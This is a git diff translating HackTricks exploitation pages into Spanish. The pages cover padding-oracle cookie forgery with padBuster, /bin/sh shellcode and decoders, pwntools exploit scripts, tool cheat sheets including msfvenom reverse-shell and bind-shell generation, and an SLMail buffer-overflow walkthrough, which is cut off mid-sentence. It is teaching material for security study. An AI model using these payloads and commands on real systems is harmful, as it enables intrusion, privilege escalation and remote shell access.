-cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## La teoría -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de padding oracle comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**. ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\ +Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\ +Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Así que: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\ +Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Sigue esta cadena hasta que descifres todo el texto cifrado.** -## Detection of the vulnerability +## Detección de la vulnerabilidad -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Registra una cuenta e inicia sesión con esta cuenta.\ +Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá forma de invalidarla**. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\ +Pero si BF el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster. -## References +## Referencias - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..429b13054 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..46e2ac8b2 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# Vulnerabilidades de Correos Electrónicos {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..2dacfc775 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -20,23 +20,20 @@ int 0x80 ; Ejecutar syscall **objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes **Comprobar que la shellcode funciona** - ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` - Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. EJ **TRUCO (/bin/sh)**: - ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - **EJ usando el Stack(/bin/sh):** - ``` section .text global _start @@ -79,43 +74,38 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahí guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. **Shellcodes polimórficos** -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: - +Consisten en shells cifradas que tienen un pequeño código que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` - ## **5.Métodos complementarios** **Técnica de Murat** @@ -150,7 +140,7 @@ For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, **`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ +Currently the **addresses to the functions** to be executed are **hidden** behind varios structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. ### **setjmp() & longjmp()** @@ -167,9 +157,9 @@ However, from what I have read, the other registers are not protected, **so if t **VTable y VPTR en C++** -Each class has a **Vtable** which is an array of **pointers to methods**. +Cada clase tiene una **Vtable** que es un array de **pointers to methods**. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Cada objeto de una **class** tiene un **VPtr** que es un **pointer** al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra un **overwrite** del **VPtr** podría ser **modificado** para **point** a un método dummy de modo que ejecutar una función iría a la shellcode. ## **Medidas preventivas y evasiones** @@ -185,7 +175,7 @@ Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No **ASCII Armored Address Space** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. **ret2plt** diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..91caa3099 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. Obtener el desplazamiento para modificar EIP +2. Colocar la dirección del shellcode en EIP ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - -# Level01 - +# Nivel01 ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..cc4ce0654 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Herramientas de Explotación {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Instalar ``` apt-get install gdb ``` - -### Parameters - +### Parámetros ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Instrucciones ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB mismas direcciones -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario cuando se ejecuta.** Puedes hacer que GDB tenga las mismas direcciones haciendo: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Pon la ruta absoluta al binario_ +- Explota el binario utilizando la misma ruta absoluta +- `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace para encontrar funciones llamadas +Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario**.\ +Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### Servidor GDB -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows) ## Ghidra -### Find stack offset +### Encontrar desplazamiento de pila -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** es muy útil para encontrar el **desplazamiento** para un **desbordamiento de búfer gracias a la información sobre la posición de las variables locales.**\ +Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en `local_bc` indica que necesitas un desplazamiento de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un desplazamiento de `0xac`.\ +_Recuerda que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\ +**-o** --> Salida\ +**-g** --> Guardar código (GDB podrá verlo)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desactivar el ASLR en linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Para compilar un shellcode:**\ +**nasm -f elf assembly.asm** --> devuelve un ".o"\ +**ld assembly.o -o shellcodeout** --> Ejecutable ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Desensamblar ejecutable** secciones (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\ +**-Mintel** --> **Sintaxis Intel**\ +**-t** --> Tabla de **símbolos**\ +**-D** --> **Desensamblar todo** (dirección de variable estática)\ +**-s -j .dtors** --> sección dtors\ +**-s -j .got** --> sección got\ +\-D -s -j .plt --> sección **plt** **descompilada**\ +**-TR** --> **Reubicaciones**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA). -## Core dumps +## Volcados de núcleo -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Ejecuta `ulimit -c unlimited` antes de iniciar mi programa +2. Ejecuta `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Más -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Bucle para ver si la dirección cambia mucho\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Desplazamiento de "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Desplazamiento de "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Funciones llamadas por el ejecutable\ +**rabin2 -i ejecutable -->** Dirección de todas las funciones ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### Depuración en linux remoto +Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario _linux_server_ o _linux_server64_ dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Luego, configura el depurador: Depurador (remoto de linux) --> Opciones de proceso...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..4e945a110 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Obtén opcodes de una línea o archivo. ``` pwn asm "jmp esp" pwn asm -i ``` +**Puede seleccionar:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- tipo de salida (raw, hex, string, elf) +- contexto del archivo de salida (16, 32, 64, linux, windows...) +- evitar bytes (nuevas líneas, nulo, una lista) +- seleccionar codificador de shellcode de depuración usando gdb ejecutar la salida # **Pwn checksec** -Checksec script - +Script checksec ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +Obtén un patrón ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Puede seleccionar:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- El alfabeto utilizado (caracteres en minúscula por defecto) +- Longitud del patrón único (por defecto 4) +- contexto (16,32,64,linux,windows...) +- Tomar el desplazamiento (-l) # Pwn debug -Attach GDB to a process - +Adjuntar GDB a un proceso ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Puede seleccionar:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Por ejecutable, por nombre o por contexto de pid (16,32,64,linux,windows...) +- gdbscript para ejecutar - sysrootpath -# Pwn disablenx - -Disable nx of a binary +# Pwn deshabilitar nx +Deshabilitar nx de un binario ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Desensamblar opcodes hexadecimales ``` pwn disasm ffe4 ``` +**Puede seleccionar:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- contexto (16,32,64,linux,windows...) +- dirección base +- color (predeterminado)/sin color # Pwn elfdiff -Print differences between 2 fiels - +Imprime las diferencias entre 2 archivos ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +Obtener representación hexadecimal ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +Obtener hexdump ``` pwn phd ``` +**Puede seleccionar:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Número de bytes a mostrar +- Número de bytes por línea resaltar byte +- Omitir bytes al principio # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Obtener shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Puede seleccionar:** -**Can select:** +- shellcode y argumentos para el shellcode +- Archivo de salida +- formato de salida +- depuración (adjuntar dbg al shellcode) +- antes (trampa de depuración antes del código) +- después +- evitar usar opcodes (predeterminado: no nulo y nueva línea) +- Ejecutar el shellcode +- Color/sin color +- listar syscalls +- listar posibles shellcodes +- Generar ELF como una biblioteca compartida -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Plantilla Pwn +Obtén una plantilla de python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Puede seleccionar:** host, puerto, usuario, contraseña, ruta y silencioso # Pwn unhex -From hex to string - +De hex a cadena ``` pwn unhex 686f6c61 ``` +# Actualización de Pwn -# Pwn update - -To update pwntools - +Para actualizar pwntools ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..66dd9f31f 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Guía Básica - Nivel OSCP) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Comenzar a instalar el servicio SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Reiniciar el servicio SLMail +Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## Plantilla de exploit de python muy básica ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Cambiar la fuente de Immunity Debugger** -## **Change Immunity Debugger Font** +Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Adjuntar el proceso a Immunity Debugger:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**Y presiona el botón START** -## **Send the exploit and check if EIP is affected:** +## **Envía el exploit y verifica si EIP está afectado:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página. -## Create a pattern to modify the EIP +## Crear un patrón para modificar el EIP -The pattern should be as big as the buffer you used to broke the service previously. +El patrón debe ser tan grande como el buffer que usaste para romper el servicio anteriormente. ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Cambia el búfer del exploit y establece el patrón y lanza el exploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Un nuevo fallo debería aparecer, pero con una dirección EIP diferente: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +Verifica si la dirección estaba en tu patrón: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Parece que **podemos modificar el EIP en el offset 2606** del buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Verifícalo modificando el buffer del exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Con este búfer, el EIP que se bloqueó debería apuntar a 42424242 ("BBBB") ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +Parece que está funcionando. -## Check for Shellcode space inside the stack +## Verificar el espacio para Shellcode dentro de la pila -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B debería ser suficiente para cualquier shellcode potente. +Vamos a cambiar el búfer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +lance el nuevo exploit y verifique el EBP y la longitud del shellcode útil ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Puede ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí. -In this case we have **from 0x0209A128 to 